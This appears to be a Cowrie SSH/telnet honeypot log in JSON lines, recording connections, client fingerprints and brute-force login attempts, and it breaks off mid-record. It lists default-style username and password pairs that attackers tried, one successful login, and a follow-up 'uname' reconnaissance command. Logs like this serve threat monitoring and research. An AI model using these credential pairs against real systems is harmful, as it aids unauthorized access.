{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:55.077174Z","src_ip":"205.254.166.101","session":"a1f93035b386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:55.934172Z","src_ip":"205.254.166.101","session":"a1f93035b386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55650,"dst_ip":"10.17.0.5","dst_port":22,"session":"928c813a07fc","protocol":"ssh","message":"New connection: 176.65.132.254:55650 (10.17.0.5:22) [session: 928c813a07fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:56.148658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:56.153731Z","src_ip":"176.65.132.254","session":"928c813a07fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:56.237729Z","src_ip":"176.65.132.254","session":"928c813a07fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:56.498063Z","src_ip":"176.65.132.254","session":"928c813a07fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:57.144873Z","src_ip":"205.254.166.101","session":"a1f93035b386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:57.583943Z","src_ip":"176.65.132.254","session":"928c813a07fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.241379737854004,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:58.766502Z","src_ip":"38.54.119.93","session":"4c262c20adac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55654,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b85a3803a9","protocol":"ssh","message":"New connection: 176.65.132.254:55654 (10.17.0.5:22) [session: d1b85a3803a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:00.420637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:00.427056Z","src_ip":"176.65.132.254","session":"d1b85a3803a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:00.509234Z","src_ip":"176.65.132.254","session":"d1b85a3803a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53034,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff08988dad2d","protocol":"telnet","message":"New connection: 134.209.8.29:53034 (159.203.135.109:23) [session: ff08988dad2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:00.724175Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:00.756116Z","src_ip":"176.65.132.254","session":"d1b85a3803a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:00.986953Z","src_ip":"176.65.132.254","session":"d1b85a3803a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:00.990379Z","src_ip":"176.65.132.254","session":"d1b85a3803a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:01.075386Z","src_ip":"176.65.132.254","session":"d1b85a3803a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:01.080316Z","src_ip":"176.65.132.254","session":"d1b85a3803a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50816,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bc883177847","protocol":"ssh","message":"New connection: 176.65.132.254:50816 (10.17.0.5:22) [session: 7bc883177847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:04.404511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:04.579019Z","src_ip":"176.65.132.254","session":"7bc883177847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:04.589782Z","src_ip":"176.65.132.254","session":"7bc883177847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:04.961962Z","src_ip":"176.65.132.254","session":"7bc883177847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56692,"dst_ip":"159.203.135.109","dst_port":23,"session":"f51ac19041f8","protocol":"telnet","message":"New connection: 134.209.8.29:56692 (159.203.135.109:23) [session: f51ac19041f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:06.004298Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:06.056530Z","src_ip":"176.65.132.254","session":"7bc883177847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.20133662223816,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:07.538821Z","src_ip":"134.209.8.29","session":"b41db89f246e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50826,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef15eb701cba","protocol":"ssh","message":"New connection: 176.65.132.254:50826 (10.17.0.5:22) [session: ef15eb701cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:08.678215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:08.683347Z","src_ip":"176.65.132.254","session":"ef15eb701cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:08.766057Z","src_ip":"176.65.132.254","session":"ef15eb701cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:09.044782Z","src_ip":"176.65.132.254","session":"ef15eb701cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:10.415666Z","src_ip":"176.65.132.254","session":"ef15eb701cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55156,"dst_ip":"10.17.0.5","dst_port":23,"session":"78ac80d376d9","protocol":"telnet","message":"New connection: 38.54.119.93:55156 (10.17.0.5:23) [session: 78ac80d376d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:11.182920Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58204,"dst_ip":"10.17.0.5","dst_port":22,"session":"62cf566c1b25","protocol":"ssh","message":"New connection: 176.65.132.254:58204 (10.17.0.5:22) [session: 62cf566c1b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:12.898684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:12.903750Z","src_ip":"176.65.132.254","session":"62cf566c1b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:12.985534Z","src_ip":"176.65.132.254","session":"62cf566c1b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:13.254751Z","src_ip":"176.65.132.254","session":"62cf566c1b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:14.353245Z","src_ip":"176.65.132.254","session":"62cf566c1b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.99260687828064,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:16.175387Z","src_ip":"38.54.119.93","session":"78ac80d376d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.05199146270752,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:17.256113Z","src_ip":"134.209.8.29","session":"f91230851366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58218,"dst_ip":"10.17.0.5","dst_port":22,"session":"20ac5b76ddb9","protocol":"ssh","message":"New connection: 176.65.132.254:58218 (10.17.0.5:22) [session: 20ac5b76ddb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:17.282664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:17.287598Z","src_ip":"176.65.132.254","session":"20ac5b76ddb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:17.369810Z","src_ip":"176.65.132.254","session":"20ac5b76ddb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:17.622162Z","src_ip":"176.65.132.254","session":"20ac5b76ddb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:18.708079Z","src_ip":"176.65.132.254","session":"20ac5b76ddb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58230,"dst_ip":"10.17.0.5","dst_port":22,"session":"be02076ebdcd","protocol":"ssh","message":"New connection: 176.65.132.254:58230 (10.17.0.5:22) [session: be02076ebdcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:21.357445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:21.365286Z","src_ip":"176.65.132.254","session":"be02076ebdcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.